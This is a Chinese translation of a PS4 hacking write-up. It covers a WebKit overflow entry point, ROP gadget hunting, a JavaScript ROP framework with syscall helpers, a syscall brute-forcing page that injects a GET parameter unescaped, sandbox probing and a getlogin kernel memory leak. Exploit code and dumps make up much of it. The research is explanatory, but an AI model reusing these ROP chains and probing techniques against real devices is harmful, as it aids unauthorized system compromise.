本文讲的是破解索尼PS4系列:利用网页漏洞实现相关的ROP攻击(一),
目前关于PS4的黑客攻击还非常的少,但这并不能说明PS4 系统非常安全,黑客不会对其发动攻击。本文的目的就是找出PS4的一系列漏洞,最终来获得PS4的内核执行代码。
PlayStation 4(简称PS4),是索尼电脑娱乐公司(SCE)推出的家用游戏机。是PlayStation游戏机系列的第四代游戏主机。PlayStation 4采用以AMD为基础的x86-64架构处理器(8核)
除了有一个记录良好的架构处理器,PS4中使用的大部分软件都是开源的。最值得注意的是,PS4运行的操作系统上是Orbis OS,这是一款修改版FreeBSD 9.0。FreeBSD是一种类Unix操作系统,是由经过BSD、386BSD和4.4BSD发展而来的Unix的一个重要分支。相比Linux,其授权许可更为宽松,而且PS4是基于x86_64架构,并非上代所采用的Cell,这也使得运行FreeBSD变得更为简单。除此之外,PS4还运行了其他的的开源软件,如Mono VM和WebKit。
WebKit漏洞
WebKit 是 iOS、Wii U、3DS、PS Vita 以及 PS4 当中的浏览器用来渲染网页的开源排版引擎。特别是,PS4的1.76版本固件中的浏览器使用了易受CVE-2012-3748远程代码执行漏洞(含EXPLOIT!)攻击的WebKit 版本,该漏洞会利用JSArray::sort(…) 方法进行堆的缓冲区溢出。
早在2014年,nas和Proxima就宣布,他们已经成功地把Mac OS X Safari的WebKit漏洞利用到PS4的浏览器上,并公开发布了PoC代码,作为入侵PS4的第一个攻击入口。
这样我们就能任意的读写并访问WebKit进程中所包含的任何读取和写入的内容,然后将Webkit模块进行转储,并改写堆栈上的返回地址,最终我们就可以通过这个攻击口控制指令指针寄存器(rip)来实现ROP执行。
此后,人们还在WebKit中发现了许多其他漏洞,这些漏洞可能相继被用作了PS4的攻击入口。
什么是ROP链?
与原始设备(如DS)不同,PS4具有控制不同存储区域属性的内核,这也就意味着可以在PS4设备上执行数据执行保护(DEP) ,即DEP可帮助PS4设备防止把数据页当作代码执行,从而有效分离数据与代码。PS4设备实施 DEP 检测从这些位置运行的代码,并在发现执行情况时引发异常。
所以我们就不能将有效载荷复制到内存中并执行它,但是,我们可以执行已经加载到内存中并标记为可执行文件的代码。如果我们不能将自己的代码写入该地址,那么即使跳转到该地址也不能执行,所以我们就必须使用ROP。
面向返回编程(ROP)只是传统堆栈粉碎的一个扩展,不过我们的目的并不只是改写程跳转值,由于ROP其核心思想是在整个进程空间内现存的函数中寻找适合指令片断(gadget),并通过精心设计返回堆栈把各个gadget拼接起来,从而达到恶意攻击的目的。构造ROP攻击的难点在于,我们需要在整个进程空间中搜索我们需要的gadgets,这需要花费相当长的时间。但一旦完成了“搜索”和“拼接”,这样的攻击是无法抵挡的,因为它用到的都是内存中合法的代码,普通的杀毒引擎对ROP攻击是无计可施的。
然后这些gadgets还有一个特征要求就是:他们都是要以一个返回指令作为结尾(如ret指令)。而实际上,这些gadgets的返回指令的作用就是用来对地址链中的下一个gadget进行调用。
在 x86_64 汇编语言中,当执行到一个 ret 指令时,一个 64 位值就会被退栈,并且寄存器也会跳转到这个值,由于我们可以控制堆栈,所以我们就可以让每一个 ret 指令都跳转到下一个gadgets。例如,从0x80000开始,会包含以下指令:
mov rax, 0 ret
而从0x90000开始,指令就会发生变化,如下所示:
mov rbx, 0 ret
如果我们把堆栈上的返回地址相继修改为0x80000和0x90000,那么一旦执行到第一个ret指令,就将跳转到mov rax, 0, ,然后紧接着,下一个ret指令会将 0x90000 退栈,并且跳到mov rbx,0。
ROP链不仅限于地址列表,假设从0xa0000也包含这些指令:
pop rax ret
我们可以将ROP链中的第一个项目设置为0xa0000,将下一个项目设置为rax的任何所需值。
gadgets也不一定要以 ret 指令结束,我们也可以使用以 jmp 结束的指令:
add rax, 8 jmp rcx
让 rcx 指向ret 指令,ROP 将继续运行:
chain.add("pop rcx", "ret"); chain.add("add rax, 8; jmp rcx");
但是,我们并不是总能找到所需的gadgets,这时,我们就需要用gadgets把其后的指令进行修改。例如,要将r8设置为某个指令,但如果只有gadgets,我们就只能把r9设置为某个虚拟值:
pop r8 pop r9 ret
寻找gadgets
ROP的功能都是用序言和结尾语言构成的:
; Save registers push rbp mov rbp, rsp push r15 push r14 push r13 push r12 push rbx sub rsp, 18h ; Function body ; Restore registers add rsp, 18h pop rbx pop r12 pop r13 pop r14 pop r15 pop rbp ret
我们期望找到的gadgets能 将xor rax, rax返回之前的返回值置设置为0:
cmp [rax], r12 ret
x86架构是重要地可变指令长度的CISC(复杂指令集计算机,Complex Instruction Set Computer)。 x86_64上的ROP充分利用了指令集的特点,即任何随机的字节序列都可能被解释为一些有效的x86_64指令集。
为了展示这一点,可以从WebKit模块中看看这个函数的结尾:
000000000052BE0D mov eax, [rdx+8] 000000000052BE10 mov [rsi+10h], eax 000000000052BE13 or byte ptr [rsi+39h], 20h 000000000052BE17 ret
假如如果我们从0x52be14开始解码,会出现什么变化呢?
000000000052BE14 cmp [rax], r12 000000000052BE17 ret
即使这段代码从来没有被执行过,它还是在一个被标记为可执行的内存区域内,所以这段代码完全可以作为gadgets。用来搜索ROP gadgets的是rp ++;要生成一个gadgets的文本文件,只要执行:
rp-win-x64 -f mod14.bin --raw=x64 --rop=1 --unique > mod14.txt
一般保护错误
操作系统一般将内存划分为不同的区域,有的区域只供操作系统使用,而有的系统是供应用程序使用的。当应用程序企图在分配给它的内存区域进行访问操作时,操作系统将中止这个程序的运行,用户得到的是一行错误码,告诉用户程序出现了一般保护错误。
例如,尝试映射到堆栈上的只能读写的执行代码:
setU8to(chain.data + 0, 0xeb); setU8to(chain.data + 1, 0xfe); chain.add(chain.data);
并尝试写入代码,将其映射为只读和执行:
setU8to(moduleBases[webkit], 0);
如果发生了段错误,系统将会提示“可用系统内存不足”,此时,网页加载也会失败。
其他情况下也会出现“可用系统内存不足”的现象,例如 除数是o,执行无效指令以及未实现的系统调用,但最常见的还是段错误。
ASLR
地址空间布局随机化(ASLR)是一种安全技术,每次启动PS4时,都会使模块的基址不同。据我们所知,非常老的固件,比如1.05版本就没有启用ASLR。绕过ASLR的检测,是件非常困难的事情。因为首先你得知道gadgets的地址,否则你根本无法在堆栈中进行操作。不过,对于我们来说,我们并不仅限于编写静态ROP链,我们可以使用JavaScript来读取模块表,从而获取所有加载模块的基地址。
使用这些基地址,我们就可以在触发 ROP 执行之前计算出所有的gadgets地址,以便绕过 ASLR。以下这份模块表还包含了模块的文件名:
WebProcess.self libkernel.sprx libSceLibcInternal.sprx libSceSysmodule.sprx libSceNet.sprx libSceNetCtl.sprx libSceIpmi.sprx libSceMbus.sprx libSceRegMgr.sprx libSceRtc.sprx libScePad.sprx libSceVideoOut.sprx libScePigletv2VSH.sprx libSceOrbisCompat.sprx libSceWebKit2.sprx libSceSysCore.sprx libSceSsl.sprx libSceVideoCoreServerInterface.sprx libSceSystemService.sprx libSceCompositeExt.sprx
虽然PS4主要使用模块的[Signed]PPU可重定位和可执行格式的([S]PRX)格式,但是对于[Signed]可执行文件和链接格式([S] ELF))的某些字符串,也可以在libSceSysmodule.sprx中找到转储文件,如bdj.elf、web_core.elf 以及 orbis-jsc-compiler.self,这个模块和对象的组合类似于PSP和PS3中使用的组合。
你可以在libSceSysmodule.sprx中查看可用的所有模块(不仅仅是由浏览器加载的模块)的完整列表。我们等一会可以通过索尼的几个自定义系统调用来加载和转储其中的一些模块。
JuSt-ROP
使用JavaScript来编写和执行动态ROP链,比传统的静态缓冲区溢出攻击更有优势。除了必须绕过ASLR之外,JavaScript还能让我们阅读到浏览器的用户代理,并为不同的浏览器版本提供不同的ROP链,从而使我们的漏洞具有更大的兼容性。
我们甚至可以使用JavaScript来读取gadgets地址上的内存,以检查它们是否正确。理论上,你可以我们可以通过编写脚本来动态地查找ROPgadgets,然后即时构建ROP链接,但实际的做法是编写动态地ROP链要比事先编写脚本的做法要有用的多。因此,我们会创建一个用于编写ROP链的JavaScript框架,即JuSt-ROP。
JavaScript注意事项
JavaScript 用的是 IEEE-754 标准,IEEE 754 标准是IEEE二进位浮点数算术标准(IEEE Standard for Floating-Point Arithmetic)的标准编号,等同于国际标准ISO/IEC/IEEE 60559。IEEE双精度格式具有53位有效数字精度,并总共占用64位。如果你只需要将一个 64 位值转换为低精度,例如 256,那么 setU64to 就很好。
但是在需要编写缓冲区或数据结构的情况下,如果使用64位来写入的话,某些字节可能不会被正确的写入。此时,你就应该使用32位来写入数据(请注意,PS4是是小端序形式),以确保每个字节都是精确的。
系统调用
有趣的是,PS4使用与Linux和MS-DOS相同的调用约定进行系统调用,参数存储在寄存器中,而不是传统的UNIX方式(默认情况下是FreeBSD使用)存储在堆栈中:
rax-系统调用号码 rdi-参数1 rsi-参数2 rdx-参数3 r10-参数4 r8-参数5 r9-参数6
我们可以尝试使用以下JuSt-ROP方法来执行任何系统调用:
this.syscall = function(name, systemCallNumber, arg1, arg2, arg3, arg4, arg5, arg6) { console.log("syscall " + name); this.add("pop rax", systemCallNumber); if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1); if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2); if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3); if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4); if(typeof(arg5) !== "undefined") this.add("pop r8", arg5); if(typeof(arg6) !== "undefined") this.add("pop r9", arg6); this.add("mov r10, rcx; syscall"); }
请务必事先将栈库设置为可用内存:
this.add("pop rbp", stackBase + returnAddress + 0x1400);
如果你在对模块逆向工程以确定一些索尼自定义的系统调用的话,你可能遇到一种不同的命名约定:
有些时候,索尼通过常规的系统调用 0(一般在 FreeBSD 中不会有任何效果)来执行系统调用,使用第一个参数(rdi)来确定将被执行的系统调用:
使用系统调用可以了解到PS4内核的大量信息,除此之外,使用系统调用很可能是我们可以与内核进行交互的唯一方式,并且可能触发一个内核漏洞。
如果你用反向工程模块来识别索尼的一些自定义系统调用,则可能会遇到另一种调用约定:有时,索尼会通过常规系统调用0(通常在FreeBSD中不会有什么执行效果)执行系统调用,第一个参数(rdi)会控制系统调用的执行情况:
rax-0 rdi-系统调用号 rsi-参数1 rdx-参数2 r10-参数3 r8-参数4 r9-参数5
索尼很有可能会轻松兼容调用约定,例如:
.global syscall syscall: xor rax, rax mov r10, rcx syscall ret
这样,就可以使用函数调用约定从C执行系统调用:
int syscall();int getpid(void) { return syscall(20);}
在编写ROP链时,我们可以使用任何一个约定:
// Both will get the current process ID: chain.syscall("getpid", 20); chain.syscall("getpid", 0, 20);
这是很好的意识到这一点,因为我们可以使用任何一个更方便的小工具可用。意识到这一点,可以让我们自由的选择比较方便的gadgets。
getpid
只要使用系统调用20,getpid(void),我们就可以了解到许多关于内核的信息(函数说明:getpid ()用来取得目前进程的进程识别码)。这个系统调用的事实告诉我们,索尼完全没有使用混淆系统调用号来作为一种安全手段。所以,我们可以自动在PS4内核中有进行一系列的系统调用尝试。
其次,通过调用getpid(),重新启动浏览器并再次调用它,我们会得到一个比以前的值高2的返回值。这告诉我们,浏览器应用程序实际上是由两个独立的进程组成:一个是WebKit内核,用来 处理HTML和CSS的解析,解码图像和执行JavaScript;另一个负责显示图形,接收控制器输入,管理历史记录和书签等。
此外,虽然FreeBSD自4.0以来一直支持PID随机化,但顺次分配 PID 仍是默认的方式。使用默认的 PID 分配方式表明,索尼可能不会再添加任何其他的安全增强功能,例如除了用户级ASLR之外,像HardenedBSD这样的项目所鼓励的增强功能。
有多少个自定义系统调用?
FreeBSD 9.0系统调用的是 wait6,编号为 532,可以肯定的是,往后更高的版本也用的是索尼自定义的系统调用。
在没有正确参数的情况下调用索尼的大多数自定义系统调用,都将返回0x16“参数无效”的错误信息,但是,任何兼容性或未实现的系统调用将报告“没有足够的可用系统内存”错误。经过不断的尝试,我们发现系统调用号 617是索尼最后的系统调用,再往高系统就无法实现了。至此我们可以得出结论,在PS4的内核中有85个索尼自定义的系统调用(617-532)。
libkernel.sprx
要确定libkernel是如何使用自定义系统调用的,我们就必须首先记住它只是对标准FreeBSD 9.0库的修改。
这是thr_init.c中的_libpthread_init提取部分:
/* * Check for the special case of this process running as * or in place of init as pid = 1: */if ((_thr_pid = getpid()) == 1) { /* * Setup a new session for this process which is * assumed to be running as root. */ if (setsid() == -1) PANIC("Can't set session ID"); if (revoke(_PATH_CONSOLE) != 0) PANIC("Can't revoke console"); if ((fd = __sys_open(_PATH_CONSOLE, O_RDWR)) < 0) PANIC("Can't open console"); if (setlogin("root") == -1) PANIC("Can't set login to root"); if (_ioctl(fd, TIOCSCTTY, (char *) NULL) == -1) PANIC("Can't set controlling terminal");}
也可以在libkernel.sprx的偏移0x215F0处找到相同的函数。这是以上从libkernel转储中提取部分:
call getpid mov cs:dword_5B638, eax cmp eax, 1 jnz short loc_2169F call setsid cmp eax, 0FFFFFFFFh jz loc_21A0C lea rdi, aDevConsole ; "/dev/console" call revoke test eax, eax jnz loc_21A24 lea rdi, aDevConsole ; "/dev/console" mov esi, 2 xor al, al call open mov r14d, eax test r14d, r14d js loc_21A3C lea rdi, aRoot ; "root" call setlogin cmp eax, 0FFFFFFFFh jz loc_21A54 mov edi, r14d mov esi, 20007461h xor edx, edx xor al, al call ioctl cmp eax, 0FFFFFFFFh jz loc_21A6C
反转模块转储以分析系统调用
libkernel不是完全开源的,还有很多自定义代码可以帮助我们来探索索尼的一些系统调用。虽然这个过程会根据你说查找的系统调用而有所不同,但对于某些人来说,简单理解被传递的参数含义还是比较容易的。。
系统调用调用包装器会在 libkernel.sprx 中的某处被声明,并且几乎总是按着这个模板来的:
000000000000DB70 syscall_601 proc near 000000000000DB70 mov rax, 259h 000000000000DB77 mov r10, rcx 000000000000DB7A syscall 000000000000DB7C jb short error 000000000000DB7E retn 000000000000DB7F 000000000000DB7F error: 000000000000DB7F lea rcx, sub_DF60 000000000000DB86 jmp rcx 000000000000DB86 syscall_601 endp
mov r10, rcx 指令并不意味着系统调用至少需要 4 个参数,所有的系统调用包装器都类似,即使是那些不带参数的,例如getpid。当你找到调用包装器之后,你就可以查找它的所有交叉引用情况:
0000000000011D50 mov edi, 10h 0000000000011D55 xor esi, esi 0000000000011D57 mov edx, 1 0000000000011D5C call syscall_601 0000000000011D61 test eax, eax 0000000000011D63 jz short loc_11D6A
最好是多查找几个,以确保寄存器没有被无关的代码修改:
0000000000011A28 mov edi, 9 0000000000011A2D xor esi, esi 0000000000011A2F xor edx, edx 0000000000011A31 call syscall_601 0000000000011A36 test eax, eax 0000000000011A38 jz short loc_11A3F
可以看出,系统调用约定(rdi,rsi和rdx)的前三个寄存器在调用之前已经被修改,所以我们可以确定它需要3个参数。
以下我们在JuSt-ROP中重现调用的方法:
chain.syscall("unknown", 601, 0x10, 0, 1); chain.syscall("unknown", 601, 9, 0, 0);
与大多数系统调用一样,成功返回值为 0,我们可以从 test 指令之后的 jz 指令中看出。如果要进一步了解比参数更多的信息,我们就要调用其前后的代码来进行更深入的分析。
强制系统调用
虽然反向工程模块转储是识别系统调用的最可靠的方法,但一些系统调用完全没有在转储中被引用,所以我们只能进行盲目的分析。
如果我们猜测某个系统调用可能需要一组特定的参数,那么我们可以强制所有的系统调用返回一个值(0为成功),并且忽略所有返回的错误。我们还可以为所有参数传递0,并强制所有系统调用返回的错误信息是有用的,例如0xe,“Bad address”,这表示它们至少需要一个指针。
首先,我们要在页面加载后立即执行ROP链。我们可以通过将我们的函数附加到body元素的onload来实现:
<body onload="exploit()">
接下来,我们将需要根据HTTP GET值来执行特定的系统调用。虽然可以使用JavaScript来完成,但我们还是要给大家演示如何使用PHP进行简单的操作:
var Sony = 533; chain.syscall("Sony system call", Sony + <?php print($_GET["b"]); ?>, 0, 0, 0, 0, 0, 0); chain.write_rax_ToVariable(0);
一旦执行了系统调用,我们就可以检查返回值,如果看不到有用的信息,我们就继续将页面重定向到下一个系统调用:
if(chain.getVariable(0) == 0x16) window.location.assign("index.php?b=" + (<?php print($_GET["b"]); ?> + 1).toString());
在末尾附加 ?b=0 并运行页面,就可以从第一个索尼的系统调用来进行强制系统调用。虽然这种方法需要进行大量的尝试,但是通过将不同的值传递给强制系统调用,我们可以对这些返回值进行分析及识别。
系统调用538
例如,我们在不依赖于任何模块转储的情况下,看看系统调用538。这些返回值取决于第一个参数传递的值:
0 - 0x16,“参数无效” 1 - 0xe,“坏地址”
指针最初指向0s – 0x64,但每次刷新页面时,此值将增加1,其他可供尝试的参数还包括PID,线程ID和文件描述符。虽然大多数系统调用会在成功时返回0,但由于返回值具有每次调用后都会增加的特点,所以应该给它分配一个资源编号,例如文件描述符。
接下来要做的是在执行系统调用前后分别查看数据,看看数据是否已被写入。由于数据没有变化,我们可以假定它是现在输入的。然后,我们尝试着把传递的一个长字符串作为第一个参数。其实对于每一个输入,我们都应该如此尝试,因为有可能发现缓冲区溢出。
writeString(chain.data, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"); chain.syscall("unknown", 538, chain.data, 0, 0, 0, 0, 0);
返回值为0x3f,ENAMETOOLONG。不幸的是,这个系统调用似乎限制了名称长度(包括 NULL 结束符一共 32 字节),但是这个限制提示了我们,字符串不应该是结构体。
关于这个系统调用,从我们现在掌握的情况来看,最明显的是与文件系统相关的东西(如自定义mkdir或open),但是似乎这种可能性不是很大,因为在我们之前分配了一个将任何数据写入指针的资源。
要测试第一个参数是不是一个路径,我们可以用多个字符进行分解,以查看是否允许使用更长的字符串:
writeString(chain.data, "aaaaaaaaaa/aaaaaaaaaa/aaaaaaaaaa"); chain.syscall("unknown", 538, chain.data, 0, 0, 0, 0, 0);
由于返回了0x3f,我们可以假设第一个参数不是一个路径,而是一个被分配顺序标识的名称。在分析了更多的系统调用之后,我们发现以下这些都具有完全相同的行为:
533 538 557 574 580
从目前的信息来看,我们几乎不可能准确地确定这些系统调用的功能,但是当我们进行过更多的测试时,许多信息就会慢慢被揭示出来。为了继续往下分析,我们要直接告诉大家,系统调用 538 是用来分配一个事件标志的,而不是接收一个名称的。运用关于内核运行的一般知识,你可以猜测并验证这些系统调用在分配的信号量、互斥锁等。
转储其他模块
我们可以通过以下这些操作来转储其他模块:
加载模块 获取模块的基地址 转储模块
要加载模块,我们需要使用libSceSysmodule.sprx + 0x1850中的sceSysmoduleLoadModule函数。第一个参数是要加载的模块编号,另外3个应该为0。
以下JuSt-ROP方法可用于执行函数调用:
this.call = function(name, module, address, arg1, arg2, arg3, arg4, arg5, arg6) { console.log("call " + name); if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1); if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2); if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3); if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4); if(typeof(arg5) !== "undefined") this.add("pop r8", arg5); if(typeof(arg6) !== "undefined") this.add("pop r9", arg6); this.add(module_bases[module] + address); }
所以,要加载libSceAvSetting.sprx(0xb):
chain.call("sceSysmoduleLoadModule", libSysmodule, 0x1850, 0xb, 0, 0, 0);
不幸的是,在尝试加载某些模块时会触发故障;这是因为sceSysmoduleLoadModule函数不加载依赖关系,因此我们需要先手动加载它们。
像大多数系统调用一样,成功时应该返回 0。要查看已分配的加载模块编号,我们可以使用索尼自定义的系统调用编号 592,来获取当前加载的模块列表:
var countAddress = chain.data; var modulesAddress = chain.data + 8; // System call 592, getLoadedModules(int *destinationModuleHandles, int max, int *count); chain.syscall("getLoadedModules", 592, modulesAddress, 256, countAddress); chain.execute(function() { var count = getU64from(countAddress); for(var index = 0; index < count; index++) { logAdd("Module handle: 0x" + getU32from(modulesAddress + index * 4).toString(16)); } });
在不加载任何其他模块的情况下运行系统调用编号 592,将产生以下列表:
0x0, 0x1, 0x2, 0xc, 0xe, 0xf, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1e, 0x37, 0x59
但是,如果我们在加载模块0xb后运行它,我们将看到一个附加条目0x65。请记住,模块编号与加载的模块句柄不同。
我们现在可以使用另一个索尼的自定义系统调用编号593,它采用模块句柄和缓冲区,并且填充缓冲区,其中包含有关加载模块的信息,其中包括其基址。由于下一个可用句柄始终为0x65,因此我们可以将该值硬编码到我们的ROP链中,,而不是必须从模块列表中存储结果。缓冲区必须以应返回的结构体的长度开始,否则将返回 0x16 “无效参数”的错误信息:
setU64to(moduleInfoAddress, 0x160); chain.syscall("getModuleInfo", 593, 0x65, moduleInfoAddress); chain.execute(function() { logAdd(hexDump(moduleInfoAddress, 0x160)); });
它将在成功时返回0,并用可以读取的结构填充缓冲区:
var name = readString(moduleInfoAddress + 0x8); var codeBase = getU64from(moduleInfoAddress + 0x108); var codeSize = getU32from(moduleInfoAddress + 0x110); var dataBase = getU64from(moduleInfoAddress + 0x118); var dataSize = getU32from(moduleInfoAddress + 0x120);
至此,我们就拥有转储模块所需的一切条件了。
dump(codeBase, codeSize + dataSize);
另外还有一个索尼系统调用编号608,它的工作方式与593类似,但提供了有关加载模块的其他信息:
setU64to(moduleInfoAddress, 0x1a8); chain.syscall("getDifferentModuleInfo", 608, 0x65, 0, moduleInfoAddress); logAdd(hexDump(moduleInfoAddress, 0x1a8));
目前还不清楚这些信息是什么。
浏览文件系统
PS4使用标准的FreeBSD 9.0系统调用读取文件和目录。但是,在/ dev /这类的目录中,使用读取操作是可行的,而对于其他类型的目录,读取就会失败。目前,我们还没有搞清楚其中的原因,但是如果我们使用getdents而不是读取操作,它将会更加可靠地运行:
writeString(chain.data, "/dev/"); chain.syscall("open", 5, chain.data, 0, 0); chain.write_rax_ToVariable(0); chain.read_rdi_FromVariable(0); chain.syscall("getdents", 272, undefined, chain.data + 0x10, 1028);
最终结果如下:
0000010: 0700 0000 1000 0205 6469 7073 7700 0000 ........dipsw... 0000020: 0800 0000 1000 0204 6e75 6c6c 0000 0000 ........null.... 0000030: 0900 0000 1000 0204 7a65 726f 0000 0000 ........zero.... 0000040: 0301 0000 0c00 0402 6664 0000 0b00 0000 ........fd...... 0000050: 1000 0a05 7374 6469 6e00 0000 0d00 0000 ....stdin....... 0000060: 1000 0a06 7374 646f 7574 0000 0f00 0000 ....stdout...... 0000070: 1000 0a06 7374 6465 7272 0000 1000 0000 ....stderr...... 0000080: 1000 0205 646d 656d 3000 0000 1100 0000 ....dmem0....... 0000090: 1000 0205 646d 656d 3100 0000 1300 0000 ....dmem1....... 00000a0: 1000 0206 7261 6e64 6f6d 0000 1400 0000 ....random...... 00000b0: 1000 0a07 7572 616e 646f 6d00 1600 0000 ....urandom..... 00000c0: 1400 020b 6465 6369 5f73 7464 6f75 7400 ....deci_stdout. 00000d0: 1700 0000 1400 020b 6465 6369 5f73 7464 ........deci_std 00000e0: 6572 7200 1800 0000 1400 0209 6465 6369 err.........deci 00000f0: 5f74 7479 3200 0000 1900 0000 1400 0209 _tty2........... 0000100: 6465 6369 5f74 7479 3300 0000 1a00 0000 deci_tty3....... 0000110: 1400 0209 6465 6369 5f74 7479 3400 0000 ....deci_tty4... 0000120: 1b00 0000 1400 0209 6465 6369 5f74 7479 ........deci_tty 0000130: 3500 0000 1c00 0000 1400 0209 6465 6369 5...........deci 0000140: 5f74 7479 3600 0000 1d00 0000 1400 0209 _tty6........... 0000150: 6465 6369 5f74 7479 3700 0000 1e00 0000 deci_tty7....... 0000160: 1400 020a 6465 6369 5f74 7479 6130 0000 ....deci_ttya0.. 0000170: 1f00 0000 1400 020a 6465 6369 5f74 7479 ........deci_tty 0000180: 6230 0000 2000 0000 1400 020a 6465 6369 b0.. .......deci 0000190: 5f74 7479 6330 0000 2200 0000 1400 020a _ttyc0.."....... 00001a0: 6465 6369 5f73 7464 696e 0000 2300 0000 deci_stdin..#... 00001b0: 0c00 0203 6270 6600 2400 0000 1000 0a04 ....bpf.$....... 00001c0: 6270 6630 0000 0000 2900 0000 0c00 0203 bpf0....)....... 00001d0: 6869 6400 2c00 0000 1400 0208 7363 655f hid.,.......sce_ 00001e0: 7a6c 6962 0000 0000 2e00 0000 1000 0204 zlib............ 00001f0: 6374 7479 0000 0000 3400 0000 0c00 0202 ctty....4....... 0000200: 6763 0000 3900 0000 0c00 0203 6463 6500 gc..9.......dce. 0000210: 3a00 0000 1000 0205 6462 6767 6300 0000 :.......dbggc... 0000220: 3e00 0000 0c00 0203 616a 6d00 4100 0000 >.......ajm.A... 0000230: 0c00 0203 7576 6400 4200 0000 0c00 0203 ....uvd.B....... 0000240: 7663 6500 4500 0000 1800 020d 6e6f 7469 vce.E.......noti 0000250: 6669 6361 7469 6f6e 3000 0000 4600 0000 fication0...F... 0000260: 1800 020d 6e6f 7469 6669 6361 7469 6f6e ....notification 0000270: 3100 0000 5000 0000 1000 0206 7573 6263 1...P.......usbc 0000280: 746c 0000 5600 0000 1000 0206 6361 6d65 tl..V.......came 0000290: 7261 0000 8500 0000 0c00 0203 726e 6700 ra..........rng. 00002a0: 0701 0000 0c00 0403 7573 6200 c900 0000 ........usb..... 00002b0: 1000 0a07 7567 656e 302e 3400 0000 0000 ....ugen0.4..... 00002c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
你可以读取其中的一些设备,例如:读取 /dev/urandom将使用随机数据填充内存。解析这段内存并且创建一个干净的条目列表也是有可能的;例如完整的文件也可以解析这个内存来创建干净的条目列表;看看在浏览器中的browser.html完整的文件浏览器:
但是,由于沙盒的运行,我们没有完全访问到文件系统。如果你非要尝试读取确,那么这些被限制的文件和目录会给你错误2,ENOENT,“没有这样的文件或目录”的提示。
虽然如此,我们还是能读取到很多有意思的东西,包括加密后的文档等。我们将在下一篇文章中讨论更多关于文件系统的东西。
沙盒
除了某些路径的文件相关系统调用失败,系统调用失败还会存在其他原因。最常见的是,被禁止的系统调用只会返回错误1,EPERM,“不允许操作”的提示;例如尝试使用ptrace,但其他系统调用可能会因为各种原因而失败:
兼容系统调用被禁用,如果你正在尝试调用mmap,你必须使用系统调用编号477,而不是71或197,否则会触发段错误。其他系统调用如退出也会触发错误提示:
chain.syscall("exit", 1, 0);
尝试创建SCTP套接字将返回错误0x2b,EPROTONOSUPPORT,这表示PS4内核中已禁用SCTP套接字:
//int socket(int domain, int type, int protocol); //socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP); chain.syscall("socket", 97, 2, 1, 132);
虽然使用参数 PROT_READ | PROT_WRITE | PROT_EXEC 调用 mmap 会返回一个有效的指针,但 PROT_EXEC 标志会被忽略。读取它的保护将返回 3(RW),总而言之,任何执行内存的尝试都将触发段错误:
chain.syscall("mmap", 477, 0, 4096, 1 | 2 | 4, 4096, -1, 0); chain.write_rax_ToVariable(0); chain.read_rdi_FromVariable(0); chain.add("pop rax", 0xfeeb); chain.add("mov [rdi], rax"); chain.add("mov rax, rdi"); chain.add("jmp rax");
在 PS4 中使用的开源软件清单中,没有任何例如 Capsicum 这样的沙盒软件,所以 PS4 必须使用单纯的 FreeBSD jail或者某些自定义的、专用的沙盒系统来进行尝试。
jail环境
我们可以通过审核系统调用在jail环境的环境中执行的情况来证明PS4内核中频繁使用了FreeBSD Jails:
chain.syscall("auditon", 446, 0, 0, 0);
审核系统调用的第一件事是检查PS4内核中是否存在jail环境,如果存在,返回ENOSYS:
if (jailed(td->td_ucred)) return (ENOSYS);
否则系统调用很可能会从mac_system_check_auditon返回EPERM:
error = mac_system_check_auditon(td->td_ucred, uap->cmd);if (error) return (error);
或者从 priv_check 开始:
error = priv_check(td, PRIV_AUDIT_CONTROL);if (error) return (error);
系统调用可能达到的绝对最大值将在priv_check之后立即执行,在返回EINVAL之前,由于length参数为0:
if ((uap->length <= 0) || (uap->length > sizeof(union auditon_udata))) return (EINVAL);
由于mac_system_check_auditon和priv_check将永远不会返回ENOSYS,因此ENOSYS可以返回的唯一方法便是对jail 的检查结果。执行ROP 链时,返回值是 ENOSYS(0x48)。这告诉我们,PS4使用的沙盒系统都是基于 jail 的,因为对 jail 的检查能够通过。
FreeBSD 9.0内核漏洞利用
尝试在FreeBSD 9.0内核源代码中寻找新的漏洞之前,我们应该首先检查是否可以在PS4上使用任何之前已经找到的内核漏洞。不过以下的漏洞绝不是我们要用的漏洞:
FreeBSD 9.0-9.1 mmap / ptrace :特权升级漏洞利用,因为如上所述,我们无法访问ptrace系统调用。 FreeBSD 9.0 : Intel SYSRET内核特权升级漏洞利用,由于PS4使用AMD处理器,因此无法正常工作。 FreeBSD内核:多个漏洞 ,也许只有第一个漏洞有用,但其他两个依赖于 SCTP 套接字,而SCTP 套接字已被 PS4 内核禁用。
getlogin
看起来容易尝试的一个漏洞是使用getlogin系统调用来泄漏少量的内核内存。getlogin系统调用旨在将当前会话的登录名复制到用户内存中,但是由于系统漏洞,复制过来的不仅仅是登录名的字符串长度,连 整个缓冲区都要被复制过来。这意味着我们可以从内核读取一些未初始化的数据,这可能是有用的。
请注意,系统调用(49)实际上是int getlogin_r(char * name,int len);而不是char * getlogin(void);.
所以,让我们尝试将一些内核内存复制到用户内存中未使用的部分:
chain.syscall("getlogin", 49, chain.data, 17);
可是,我们只能获得17个字节,因为登录名被限制为MAXLOGNAME(来自<sys / param.h>)字符,目前包括 null 在内是 17。
执行ROP 链后,返回值为0,这意味着系统调用产生了效果。。现在,我们来看看所指向的内存变化。
执行ROP 链之前:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
执行ROP 链后:
72 6f 6f 74 00 fe ff ff 08 62 61 82 ff ff ff ff 00
在将前4个字节解码为ASCII码后:
root
所以ps4上浏览器是以root身份执行的。但更有趣的是,内存泄漏看起来像一个指向内核中的指针,每次运行ROP链时总是相同的,这从侧面证明了PS4没有内核ASLR。
总结
从目前可用的信息来看,PS4 的内核与标准的 FreeBSD 9.0 内核非常相似。重要的是,存在的差异似乎来自标准内核配置更改(例如禁用SCTP套接字),而不是来自修改后的代码。索尼还向内核添加了自己的几个自定义系统调用,但除此之外,其他的内核似乎没有被修改过。
